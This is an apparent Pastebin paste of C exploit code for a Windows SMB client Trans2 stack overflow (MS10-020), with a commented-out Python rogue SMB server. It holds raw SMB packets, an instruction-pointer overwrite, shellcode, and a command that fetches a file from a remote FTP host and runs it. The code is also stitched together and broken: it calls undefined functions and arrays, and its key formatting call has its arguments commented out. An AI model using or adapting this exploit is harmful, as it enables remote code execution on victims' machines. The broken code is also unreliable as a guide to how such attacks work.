Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Win7 & 2K8 SMB Client Trans2 stack overflow (MS10-020)
- #include <windows.h>
- #include <stdio.h>
- #include <winsock2.h>
- #include <iostream>
- #pragma comment(lib, "ws2_32")
- /*
- unsigned char uszSessionRequest[] =
- "\x81\x00\x00\x44\x20\x43\x4b\x46\x44\x45\x4e\x45\x43\x46\x44\x45"
- "\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43\x41\x43\x41\x43\x41\x43"
- "\x41\x43\x41\x43\x41\x00\x20\x45\x4b\x45\x44\x46\x45\x45\x49\x45"
- "\x44\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
- "\x41\x43\x41\x43\x41\x41\x41\x00";
- unsigned char uszNegotiate[] =
- "\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
- "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
- "\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
- "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
- "\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
- "\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
- "\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
- "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";
- unsigned char uszSessionSetupAndX[] =
- "\x00\x00\x00\xB9"
- "\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x01\x28\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\xC0\x00\x00\xD7\x6D"
- "\x0C\xFF\x00\x00\x00\xDF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\x5B"
- "\x00\x00\x00\x00\x00\x5C\xD0\x00\x80\x7E\x00\x60\x59\x06\x06\x2B"
- "\x06\x01\x05\x05\x02\xA0\x4F\x30\x4D\xA0\x0E\x30\x0C\x06\x0A\x2B"
- "\x06\x01\x04\x01\x82\x37\x02\x02\x0A\xA2\x3B\x04\x39\x4E\x54\x4C"
- "\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x01\x02\x08\x00\x09\x00\x09"
- "\x00\x20\x00\x00\x00\x10\x00\x10\x00\x29\x00\x00\x00\x57\x4F\x52"
- "\x4B\x47\x52\x4F\x55\x50\x6C\x51\x50\x78\x66\x32\x49\x53\x51\x67"
- "\x45\x56\x31\x62\x47\x4B\x57\x69\x6E\x64\x6F\x77\x73\x20\x32\x30"
- "\x30\x30\x20\x32\x31\x39\x35\x00\x57\x69\x6E\x64\x6F\x77\x73\x20"
- "\x32\x30\x30\x30\x20\x35\x2E\x30\x00";
- unsigned char uszSessionSetupAndX2[] =
- "\x00\x00\x01\x0D"
- "\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x01\x28\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\xC0\x00\x20\xD7\x6D"
- "\x0C\xFF\x00\x00\x00\xDF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\xAF"
- "\x00\x00\x00\x00\x00\x5C\xD0\x00\x80\xD2\x00\xA1\x81\xAC\x30\x81"
- "\xA9\xA2\x81\xA6\x04\x81\xA3\x4E\x54\x4C\x4D\x53\x53\x50\x00\x03"
- "\x00\x00\x00\x18\x00\x18\x00\x40\x00\x00\x00\x18\x00\x18\x00\x58"
- "\x00\x00\x00\x12\x00\x12\x00\x70\x00\x00\x00\x00\x00\x00\x00\x82"
- "\x00\x00\x00\x20\x00\x20\x00\x82\x00\x00\x00\x00\x00\x00\x00\xA2"
- "\x00\x00\x00\x01\x02\x08\x00\xED\xB7\x39\x88\x77\xD7\x16\xBE\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x42"
- "\xAE\xB7\x1F\xBB\x6D\xC1\x84\x99\x01\x6B\x08\xB1\x78\xBA\x65\x43"
- "\x0A\xD3\x9A\xE2\x49\x86\x29\x57\x00\x4F\x00\x52\x00\x4B\x00\x47"
- "\x00\x52\x00\x4F\x00\x55\x00\x50\x00\x6C\x00\x51\x00\x50\x00\x78"
- "\x00\x66\x00\x32\x00\x49\x00\x53\x00\x51\x00\x67\x00\x45\x00\x56"
- "\x00\x31\x00\x62\x00\x47\x00\x4B\x00\x00\x57\x69\x6E\x64\x6F\x77"
- "\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00\x57\x69\x6E\x64"
- "\x6F\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2E\x30\x00";
- unsigned char uszTreeConnectAndX[] =
- "\x00\x00\x00\x37"
- "\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x01\x20\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\xC0\x01\x20\xD7\x6D"
- "\x04\xFF\x00\x00\x00\x00\x00\x01\x00\x0C\x00\x00\x49\x50\x43\x24"
- "\x00\x3F\x3F\x3F\x3F\x3F\x00";
- /* browser (srvsvc is also usable) */
- unsigned char uszPipeRequestBrowser[] =
- "\x00\x00\x00\x5C\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x01\x20"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
- "\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x08\x00\x16\x00\x00\x00"
- "\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
- "\x02\x00\x00\x00\x03\x09\x00\x5C\x62\x72\x6F"
- "\x77\x73\x65\x72\x00";
- /*
- unsigned char uszPipeRequestSrvsvc[] =
- "\x00\x00\x00\x5B\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x01\x20"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
- "\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x07\x00\x16\x00\x00\x00"
- "\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
- "\x02\x00\x00\x00\x03\x08\x00\\SRVSVC\x00";
- */
- */
- unsigned char packetnego[] =
- "\x00\x00\x00\x55"
- "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x98\x53\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00"
- "\x11\x05\x00\x03\x0a\x00\x01\x00\x04\x11\x00\x00\x00\x00\x01\x00"
- "\x00\x00\x00\x00\xfd\xe3\x00\x80\x1a\x49\xf9\x22\xfb\x86\xca\x01"
- "\x88\xff\x00\x10\x00\xf0\xe4\x54\xc4\x50\x6c\xb2\x4a\xb9\x3a\x6b"
- "\xcf\xb0\x8c\x8d\xaf";
- unsigned char packetsession[] =
- "\x00\x00\x01\x3d"
- "\xff\x53\x4d\x42\x73\x16\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x10\x00"
- "\x04\xff\x00\x3d\x01\x00\x00\xc8\x00\x12\x01\x4e\x54\x4c\x4d\x53"
- "\x53\x50\x00\x02\x00\x00\x00\x0c\x00\x0c\x00\x38\x00\x00\x00\x15"
- "\x82\x8a\xe2\x16\x7a\x68\x5f\xc6\x0c\x78\xd8\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x84\x00\x84\x00\x44\x00\x00\x00\x05\x01\x28\x0a\x00"
- "\x00\x00\x0f\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x02"
- "\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x01"
- "\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x04"
- "\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b\x00\x75\x00\x32\x00\x2e"
- "\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x6c\x00\x6f\x00\x63"
- "\x00\x61\x00\x6c\x00\x03\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b"
- "\x00\x75\x00\x32\x00\x2e\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e"
- "\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x06\x00\x04\x00\x01"
- "\x00\x00\x00\x07\x00\x08\x00\xe8\x62\xc8\x16\xfb\x86\xca\x01\x00"
- "\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
- "\x73\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x57\x00\x69\x00"
- "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00"
- "\x30\x00\x30\x00\x20\x00\x4c\x00\x41\x00\x4e\x00\x20\x00\x4d\x00"
- "\x61\x00\x6e\x00\x61\x00\x67\x00\x65\x00\x72\x00\x00";
- unsigned char packetsession2[] =
- "\x00\x00\x00\x75"
- "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x20\x00"
- "\x04\xff\x00\x75\x00\x01\x00\x00\x00\x4a\x00\x00\x57\x00\x69\x00"
- "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00"
- "\x31\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
- "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00"
- "\x41\x00\x4e\x00\x20\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00"
- "\x65\x00\x72\x00\x00";
- unsigned char uszSessionSetupAndX3[] =
- "\x00\x00\x00\x6B"
- "\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x01\x20\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\xC0\x00\x00\xD7\x6D"
- "\x0D\xFF\x00\x00\x00\xDF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x2E\x00\x00\x57\x4F"
- "\x52\x4B\x47\x52\x4F\x55\x50\x00\x57\x69\x6E\x64\x6F\x77\x73\x20"
- "\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00\x57\x69\x6E\x64\x6F\x77"
- "\x73\x20\x32\x30\x30\x30\x20\x35\x2E\x30\x00";
- unsigned char packetree[] =
- "\x00\x00\x00\x38"
- "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe\x00\x08\x30\x00"
- "\x07\xff\x00\x38\x00\x01\x00\xff\x01\x00\x00\xff\x01\x00\x00\x07"
- "\x00\x49\x50\x43\x00\x00\x00\x00";
- unsigned char packetntcreate[] =
- "\x00\x00\x00\x87"
- "\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x84\x08\x00\x08\x40\x00"
- "\x2a\xff\x00\x87\x00\x00\x00\x40\x01\x00\x00\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00"
- "\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
- "\x02\x00\xff\x05\x00\xff\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x01\x12"
- "\x00\x9b\x01\x12\x00\x00\x00";
- unsigned char packetrans[] = {
- "\x00\x00\x00\x5a"
- "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x30\x0b\x00\x08\x50\x00"
- "\x0a\x02\x00\x18\x00\x00\x00\x02\x00\x38\x00\x00\x00\x18\x00\xff"
- "\xff\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00"
- "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\x51\x52\x53\x54\x55\x56"
- "\x02\x61\x42\x42\x42\x42\x41\x41\x41\x41"; //+EBP+EIP;
- //EBP = "\x42\x42\x42\x42"
- //EIP = "\x41\x41\x41\x41"
- /* win32_exec shellcode */
- /* We need to use ExitThread, otherwise remote system will reboot */
- unsigned char uszShellcode[] =
- "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
- "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
- "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
- "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
- "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64"
- "\x8b\x46\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83"
- "\xc0\x6a\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff\xe7";
- void main(int argc, char **argv) {
- WSADATA wsaData;
- SOCKET sockClient;
- SOCKADDR_IN sAddr;
- char szRecv[4096];
- unsigned short ushSmbLen=0;
- int nLen;
- unsigned short ushUserID, ushTreeID, ushFID;
- if (argc < 2) {
- usage();
- return;
- }
- if (WSAStartup(MAKEWORD(2, 0), &wsaData) != NO_ERROR) {
- printf("[-] WSAStartup failure\n");
- return;
- }
- sockClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sockClient == INVALID_SOCKET) return;
- sAddr.sin_family = AF_INET;
- sAddr.sin_addr.s_addr = inet_addr(argv[1]);
- sAddr.sin_port = htons(445);
- printf("[+] Connecting to: %s\n", argv[1]);
- if (connect(sockClient, (SOCKADDR *)&sAddr, sizeof(sAddr)) == SOCKET_ERROR) {
- printf("[-] Failed to connect\n");
- closesocket(sockClient);
- return;
- }
- printf("[*] Establishing null session\n");
- if (send(sockClient, (const char*)packetnego, sizeof(packetnego) - 1, 0) == SOCKET_ERROR) {
- printf("[-] Send failed\n");
- closesocket(sockClient);
- return;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if (nLen < 1) {
- printf("[-] Failed to receive NegotiateRequest Response.\n");
- closesocket(sockClient);
- return;
- }
- if (send(sockClient, (const char*)packetsession, sizeof(packetsession) - 1, 0) == SOCKET_ERROR) {
- printf("[-] Send failed\n");
- closesocket(sockClient);
- return;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if (nLen <= 10) {
- printf("[-] Failed to receive SessionSetupAndX1 Response.\n");
- closesocket(sockClient);
- return;
- }
- ushUserID = *(WORD *)(szRecv + 32);
- memcpy(packetsession2 + 32, (char *)&ushUserID, 2);
- if (send(sockClient, (const char*)packetsession2, sizeof(packetsession2) - 1, 0) == SOCKET_ERROR) {
- printf("[-] Send failed\n");
- closesocket(sockClient );
- return;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if (nLen <= 10) {
- printf("[-] Failed to receive SessionSetupAndX2 Response.\n");
- closesocket(sockClient);
- return;
- }
- if (send(sockClient, (const char*)packetntcreate, sizeof(packetntcreate) - 1, 0) == SOCKET_ERROR) {
- printf("[-] Send failed\n");
- closesocket(sockClient);
- return;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if (nLen <= 10) {
- printf("[-] Failed to receive SessionSetupAndX2 Response.\n");
- closesocket(sockClient);
- return;
- }
- printf("[*] Sending TreeConnect Request\n");
- ushUserID = *(WORD *)(szRecv + 32);
- memcpy(packetree + 32, (char *)&ushUserID, 2);
- if (send(sockClient, (const char*)packetree, sizeof(packetree) - 1, 0) == SOCKET_ERROR) {
- printf("[-] Send failed\n");
- closesocket(sockClient);
- return;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if ((nLen <= 10) || (szRecv[9] != 0)) {
- printf("[-] Failed to receive proper TreeConnectAndX response.\n");
- closesocket(sockClient);
- return;
- }
- printf("[*] Sending PipeRequest \\browser\n");
- ushTreeID = *(WORD *)(szRecv + 28);
- memcpy(packetntcreate + 28, (char *)&ushTreeID, 2);
- memcpy(packetntcreate + 32, (char *)&ushUserID, 2);
- if (send(sockClient, (const char*)packetntcreate, sizeof(packetntcreate) - 1, 0) == SOCKET_ERROR ) {
- printf("[-] Send failed\n");
- closesocket(sockClient);
- return;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if ((nLen <= 10) || (szRecv[9] != 0)) {
- printf("[-] Failed to receive proper PipeRequest Response.\n");
- closesocket(sockClient);
- return;
- }
- ushFID = *(WORD *)(szRecv + 42);
- memcpy(packetsession + 28, (char *)&ushTreeID, 2);
- memcpy(packetsession + 32, (char *)&ushUserID, 2);
- memcpy(packetsession + 41, (char *)&ushFID, 2);
- if (send(sockClient, (const char*)packetsession, sizeof(packetsession) - 1, 0) == SOCKET_ERROR) {
- printf("[-] Send failed\n");
- closesocket(sockClient);
- return;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if ((nLen <= 10) || (szRecv[9] != 0)) {
- printf("[-] Failed to receive proper DceBind Response.\n");
- closesocket(sockClient);
- return;
- }
- memcpy(packetsession2 + 28, (char *)&ushTreeID, 2 );
- memcpy(packetsession2 + 32, (char *)&ushUserID, 2 );
- memcpy(packetsession2 + 41, (char *)&ushFID, 2 );
- if (send(sockClient, (const char*)packetsession2, sizeof(packetsession2) - 1, 0 ) == SOCKET_ERROR ) {
- printf("[-] Send failed\n");
- closesocket(sockClient);
- return;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if ((nLen <= 10) || (szRecv[9] != 0)) {
- printf("[-] Failed to receive proper SMBAndXRead response.\n");
- closesocket(sockClient);
- return;
- }
- memcpy(packetrans + 28, (char *)&ushTreeID, 2);
- memcpy(packetrans + 32, (char *)&ushUserID, 2);
- memcpy(packetrans + 41, (char *)&ushFID, 2);
- char szCmdLine[256];
- _snprintf(szCmdLine, sizeof(szCmdLine) - 1,
- "cmd /c echo open %s %s > i&echo user %s %s >> i &echo get %s >> i &echo quit >> i &ftp -n -s:i &%s\r\n",
- /*szFTPAddr, szFTPPort, szFTPUser, szFTPPass, szFTPFilename, szFTPFilename*/);
- int nShellcodeLength = sizeof(uszShellcode) + strlen(szCmdLine);
- unsigned char *uszFormattedShellcode = (unsigned char *)malloc(nShellcodeLength);
- memcpy(uszFormattedShellcode, uszShellcode, sizeof(uszShellcode) - 1);
- memcpy(uszFormattedShellcode + sizeof(uszShellcode) - 1, szCmdLine, strlen(szCmdLine) + 1);
- /* Encode shellcode */
- unsigned long ulEncodedSize = GetRNS0EncodedSize(nShellcodeLength);
- char *pEncodedShellcode = (char *)malloc(ulEncodedSize);
- unsigned long ulResult = EncodeRNS0(pEncodedShellcode, ulEncodedSize,(char *)uszFormattedShellcode, nShellcodeLength);
- if (ulResult != ulEncodedSize) {
- printf("[-] Shellcode could not be properly encoded.\n");
- return;
- }
- memcpy( uszDceRequest + 273, pEncodedShellcode, ulResult );
- memcpy( uszDceRequest + 657, &exploitOffsets[WINDOWS_2K].ulScratch, 4 );
- memcpy( uszDceRequest + 661, &exploitOffsets[WINDOWS_2K].ulDisableNx, 4 );
- memcpy( uszDceRequest + 669, &exploitOffsets[WINDOWS_2K].ulRet, 4 );
- if (send(sockClient, (const char*)packetrans, sizeof(packetrans) - 1, 0 ) == SOCKET_ERROR ) {
- printf("[-] Send failed\n");
- closesocket( sockClient );
- return;
- }
- nLen = recv( sockClient, szRecv, 4096, 0 );
- if ( ( nLen <= 10 ) || ( szRecv[9] != 0 ) ) {
- printf("[-] Failed to receive proper SMBAndXRead response.\n");
- closesocket( sockClient );
- return;
- }
- free( uszFormattedShellcode );
- free( pEncodedShellcode );
- printf("[*] Happy rooting!\n");
- }
- /*
- class SMB1(SocketServer.BaseRequestHandler):
- def server_bind(self):
- self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
- self.socket.bind(self.server_address)
- def handle(self):
- try:
- while True:
- print "From:", self.client_address
- data = self.request.recv(1024)
- ##Negotiate Protocol Response
- if data[8] == "\x72":
- self.request.send(packetnego)
- print "Negotiate Response sent\n"
- ##Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED
- if data[8] == "\x73":
- self.request.send(packetsession)
- print "Session Response sent\n"
- #Session Setup AndX Response
- data = self.request.recv(1024)
- if data[8] == "\x73":
- self.request.send(packetsession2)
- print "Session 2 Response sent\n"
- ##Tree Connect AndX Response
- if data[8] == "\x75":
- self.request.send(packetree)
- print "TREE Response sent\n"
- ##NT Create AndX Response, FID: 0x4000
- if data[8] == "\xa2":
- self.request.send(packetntcreate)
- print "NT create Response sent\n"
- ####Trans2 Response, QUERY_FS_INFO
- if data[8] == "\x32":
- self.request.send(packetrans)
- print "Trans2 Response sent box pwned\n"
- except Exception:
- print "oups"
- self.request.close()
- print "Disconnected from", self.client_address
- SocketServer.TCPServer.allow_reuse_address = 1
- launch = SocketServer.TCPServer(('', 445),SMB1)
- launch.serve_forever()
- */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement